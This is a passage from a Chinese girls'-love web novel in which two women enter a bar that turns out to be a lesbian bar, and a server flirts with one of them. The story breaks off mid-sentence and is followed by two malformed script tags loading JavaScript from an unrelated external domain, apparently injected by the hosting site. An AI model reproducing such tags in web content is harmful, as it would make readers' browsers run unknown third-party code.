白青染不久前曾和远航的一位董事在这家清吧谈事。那位董事是位中年大叔, 钟爱这里干净不噪杂的氛围,和驻唱歌手唱的怀旧歌曲。
因为亲身感受过这里的氛围,白青染才敢带着景熠来。她决不允许景熠身处夜场那种乌烟瘴气的氛围, 更不敢想象景熠被浑身散发着荷尔蒙, 随时准备想和看对眼儿的陌生人发生点什么的男男女女们包围的画面。
景熠初来乍到,看什么都新鲜。
白青染见多了世面,原本觉得这里和一般清吧没什么, 可是被那名瘦瘦高高雌雄莫辨的服务生引着往卡座方向走的时候,白青染敏锐地发现了几分不寻常的意味——
这里的装修和上次她来的时候没什么区别,然而这里的人……只有女人?
白青染心里缓缓画了一个问号, 目光不着痕迹地扫过经过一张桌子旁边坐着一个板寸头的年轻人。
如果是男人的话, 这样的身材未免太单薄了。而且这人的五官也不似大多数男人那样偏硬朗……还有胸口。
盯着人家的胸口看是不礼貌的, 白青染懂。
所以她只瞥了一眼之后,就收回了目光。
那人的胸……很平, 但不难看出一些天然的弧度。
通过一路上的观察, 白青染发现了, 好几个短头发乍看像男人的, 其实都是女人。
一个两个是巧合, 如果整个清吧里的人都是女人,而且还有疑似T的女人, 那可就不是巧合了。
所以……
白青染的脑中忽闪过某种猜想。
这才过去几天, 这里就变成一家les酒吧了?
白青染现在特别后悔进门的时候没看牌匾,理所当然了。
鉴于目前她和景熠的关系,白青染决定马上带着景熠离开——
这种地方,太危险了。
“姐姐, 咱们喝什么?”景熠满心期待地等着白青染的回答。
白青染对上小孩儿的眼神,心就软了, 心里还在想着得赶紧离开这里,嘴上却已经点了几样酒水和小食。
服务生的目光就一直没离开白青染,像是要把白青染的一言一行就刻进心里似的。现在听白青染点酒,特别殷勤地点头,一张清秀小脸儿笑得跟朵花似的:“小姐姐,我们这儿有一种特别特别好喝的酒,是我家老板最拿手的,平时想尝都尝不到。我家老板今天就在,我替你约一下呀?”
说着
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">